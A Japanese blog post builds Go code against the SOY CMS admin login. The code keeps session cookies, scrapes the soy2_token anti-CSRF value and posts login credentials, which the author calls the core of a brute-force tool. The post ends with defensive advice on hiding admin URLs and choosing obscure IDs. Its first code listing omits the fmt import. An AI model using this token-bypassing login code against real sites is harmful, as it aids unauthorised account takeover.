SOY CMSに総当り攻撃を仕掛けてみる。その1


前回、Go言語でSOY CMSに対して総当り攻撃の初期段階のコードを書いてみた。

※初期段階:ログインを一度試すだけのコード


しかし、

ログインフォームにトークンのチェックを実装したことにより、

あっけなく無効化した。


ということで、

今回は前回実装したトークンのチェックを通過するように書いてみる。




まずトークンのチェックは何かだけど、


soycms_login_page

SOY CMSであれば、管理画面のURLを特定したい


ログイン画面を開いた時、この画面では見えないけど、

フォームのHTMLには、

<input type="hidden" name="soy2_token" value="3fe03b4c628f6af457b439e2ca5708ab">

こんな感じの開く度に変更されるランダムな文字列がある。


ログインをするときに、

IDとパスワードを送信する時にトークンも送ることで、

この画面からログインを試みたということが保証され、

前回みたいな不正なデータ送信を受信出来ない様にする。


これではお手上げか?と思いきや、

この仕組み自体を前回のコードに組み込んでしまえば良いわけ。




開いたブラウザがトークンを保存しておくための仕組みとしてセッションというものを利用する。


セッションについてざっくりと書くと、

ブラウザを開いた時にサーバに値を保持させる(今回はトークン)。


保持させた時にキーを発行して、それをブラウザに渡す。

ブラウザは渡されたキーをクッキーという仕組みで保持する。


次のページを開いた時にセッションに入れた値を使いたい場合は、

ブラウザがキーをサーバに渡してセッションに入れた値を取り出す

というもの。




整理すると、


soycms_login_page


ログインフォームを開いた時、

サーバはトークンをセッションに入れて、そのセッションのキーをブラウザが保持する。


今回はブラウザはないので、

Goでサーバから渡されたキーを保持しておくクッキーを用意しておけば良いことになる。


というわけで、

そのコードを書いてみると、


package main

import (
	"bufio"
	"net/http"
	"net/url"
	"regexp"
	"strings"
	"sync"
)

//CookieJarを自作する
type Jar struct {
	lk      sync.Mutex
	cookies map[string][]*http.Cookie
}

func NewJar() *Jar {
	jar := new(Jar)
	jar.cookies = make(map[string][]*http.Cookie)
	return jar
}

func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
	jar.lk.Lock()
	jar.cookies[u.Host] = cookies
	jar.lk.Unlock()
}

func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
	return jar.cookies[u.Host]
}

func main() {
	//取得したトークンを格納する変数を定義する
	var token string

	//クッキーの準備
	jar := NewJar()

	u := "http://example.com/cms/admin/"
	user := "admin"
	pw := "password"

	//クライアントでクッキーを使用可にする
	client := http.Client{
		Jar: jar,
	}

	//soy2_check_tokenを事前に取得しにいってみる
	resp, err := client.Get(u)
	if err != nil {
		panic(err)
	}
	s := bufio.NewScanner(resp.Body)
	for s.Scan() {
		//HTMLの中からsoy2_tokenの値のタグを探す
		if i := strings.Index(s.Text(), "soy2_token"); i > 0 {
			re := regexp.MustCompile("value=\"(.*)\"")
			//トークンの値を使える様に整形する
			res := re.FindString(s.Text())
			res = strings.Replace(res, "value=", "", 1)
			token = strings.Trim(res, "\"")
		}
	}
	defer resp.Body.Close()

	fmt.Println(token)
}

これでログインページを開いて、

トークンを取得しつつ、セッションキーも取得するコードが書けた。


どこでセッションキーを取得しているかこれだとわからないけど、

Client構造体にsetCookieメソッドを持った自作のクッキーをセットしておけば、


client.Get(u)でログインページのHTMLを取得したと同時に

サーバから発行されるセッションキーを自作のクッキーが保持してくれる。


あとはこのコードに前回作成したコード + トークンの値を追加すれば良い。


追加したコードが下記になる。


package main

import (
	"bufio"
	"fmt"
	"net/http"
	"net/url"
	"regexp"
	"strings"
	"sync"
)

type Jar struct {
	lk      sync.Mutex
	cookies map[string][]*http.Cookie
}

func NewJar() *Jar {
	jar := new(Jar)
	jar.cookies = make(map[string][]*http.Cookie)
	return jar
}

func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
	jar.lk.Lock()
	jar.cookies[u.Host] = cookies
	jar.lk.Unlock()
}

func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
	return jar.cookies[u.Host]
}

func main() {
	var token string
	jar := NewJar()

	u := "http://example.com/cms/admin/"
	user := "admin"
	pw := "password"
	client := http.Client{
		Jar: jar,
	}

	resp, _ := client.Get(u)
	s := bufio.NewScanner(resp.Body)
	for s.Scan() {
		if i := strings.Index(s.Text(), "soy2_token"); i > 0 {
			re := regexp.MustCompile("value=\"(.*)\"")
			res := re.FindString(s.Text())
			res = strings.Replace(res, "value=", "", 1)
			token = strings.Trim(res, "\"")
		}
	}

	resp.Body.Close()

	params := url.Values{}

	//GETで取得したトークンを追加
	params.Add("soy2_token", token)
	params.Add("Auth[name]", user)
	params.Add("Auth[password]", pw)

	resp, _ = client.PostForm(u, params)
	defer resp.Body.Close()
	s = bufio.NewScanner(resp.Body)
	for s.Scan() {
		if i := strings.Index(s.Text(), "failed_message"); i > 0 {
			fmt.Println("ログインに失敗している")
		}
	}
}

これで終了。

実行してみて結果が前回と同じであることを確認する。


最後に辞書データと繰り返しを追加すれば、

簡易的な総当り攻撃のプログラムとなる。

※ログイン成功時にIDとパスワードを記録しておく機能も必要




ここからわかることだが、

管理画面へのログインのURLさえ知ってしまうと攻撃する自体は容易い。


何回か間違えるとログインフォーム自体をアクセス不可にするというシステムもあるらしいけど、

時間をおいたり、接続するネット環境を変えれば攻撃を再開できるので、

ログインフォームのURLだけは特定されない様にする必要がある。

ブログで絵文字の機能は使わない方が良いかもしれない


標準機能で管理画面のURLを決めてしまうCMSが出回っているけど、

そんなのを使うのはナンセンスだろ。

サイバー攻撃が何と多いことか


というわけで、

ログインフォームのURLは複雑なものにしましょう。

SOY CMSであれば、管理画面のURLを特定したい

SOY CMSで総当たり攻撃に対応してみた


あとは、

パスワードを複雑なものにするのは常識なので、

IDの方をadminとかsaitoとか使わず、

aewojaweeaw_saitoとか辞書データに入りにくいものにしておいたら良いかもね。

※IDはadminや所属するメンバーの名前を使うことが多いそうです。